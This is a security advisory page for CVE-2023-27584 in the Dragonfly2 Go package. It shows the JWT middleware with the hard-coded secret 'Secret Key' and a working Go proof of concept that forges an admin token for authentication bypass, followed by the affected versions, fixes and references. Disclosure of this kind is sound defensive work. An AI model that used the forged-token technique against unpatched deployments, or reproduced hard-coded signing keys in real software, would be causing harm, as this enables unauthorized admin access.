CVE-2023-27584: Dragonfly2 has hard coded cyptographic key
Summary Hello dragonfly maintainer team, I would like to report a security issue concerning your JWT feature. Details Dragonfly uses JWT to verify user. However, the secret key for JWT, "Secret Key", is hard coded, which leads to authentication bypass PoC Use code below to generate a jwt token And send request with JWT above , you can still get data without restriction.
Published Sep 19, 2024 · Updated Apr 23, 2025
Affected packages
d7y.io/dragonfly/v2
- Ecosystem
- Go
- Affected
- >= 2.1.0-alpha.0, < 2.1.0-beta.1
- Fixed in
- 2.1.0-beta.1
- Check
go list -m d7y.io/dragonfly/v2
d7y.io/dragonfly/v2
- Ecosystem
- Go
- Affected
- < 2.0.9-rc.2
- Fixed in
- 2.0.9-rc.2
- Check
go list -m d7y.io/dragonfly/v2
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Summary
Hello dragonfly maintainer team, I would like to report a security issue concerning your JWT feature.
Details
Dragonfly uses JWT to verify user. However, the secret key for JWT, "Secret Key", is hard coded, which leads to authentication bypass
authMiddleware, err := jwt.New(&jwt.GinJWTMiddleware{
Realm: "Dragonfly",
Key: []byte("Secret Key"),
Timeout: 2 * 24 * time.Hour,
MaxRefresh: 2 * 24 * time.Hour,
IdentityKey: identityKey,
IdentityHandler: func(c *gin.Context) any {
claims := jwt.ExtractClaims(c)
id, ok := claims[identityKey]
if !ok {
c.JSON(http.StatusUnauthorized, gin.H{
"message": "Unavailable token: require user id",
})
c.Abort()
return nil
}
c.Set("id", id)
return id
})PoC
Use code below to generate a jwt token
package main
import (
"errors"
"fmt"
"time"
"github.com/golang-jwt/jwt/v4"
)
func (stc *DragonflyTokenClaims) Valid() error {
// Verify expiry.
if stc.ExpiresAt <= time.Now().UTC().Unix() {
vErr := new(jwt.ValidationError)
vErr.Inner = errors.New("Token is expired")
vErr.Errors |= jwt.ValidationErrorExpired
return vErr
}
return nil
}
type DragonflyTokenClaims struct {
Id int32 `json:"id,omitempty"`
ExpiresAt int64 `json:"exp,omitempty"`
Issue int64 `json:"orig_iat,omitempty"`
}
func main() {
signingKey := "Secret Key"
token := jwt.NewWithClaims(jwt.SigningMethodHS256, &DragonflyTokenClaims{
ExpiresAt: time.Now().Add(time.Hour).Unix(),
Id: 1,
Issue: time.Now().Unix(),
})
signedToken, _ := token.SignedString([]byte(signingKey))
fmt.Println(signedToken)
}And send request with JWT above , you can still get data without restriction.
Impact
An attacker can perform any action as a user with admin privileges.
Credited to cokeBeer, gaius-qi.
References
- https://github.com/dragonflyoss/Dragonfly2/commit/e9da69dc4048bf2a18a671be94616d85e3429433
- https://nvd.nist.gov/vuln/detail/CVE-2023-27584
- https://github.com/dragonflyoss/Dragonfly2/releases/tag/v2.0.9
- https://github.com/dragonflyoss/dragonfly/security/advisories/GHSA-hpc8-7wpm-889w
- https://github.com/dragonflyoss/dragonfly/commit/684469a31bd27d38c715c507bca9f6d2c21f9007
- https://github.com/advisories/GHSA-hpc8-7wpm-889w
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
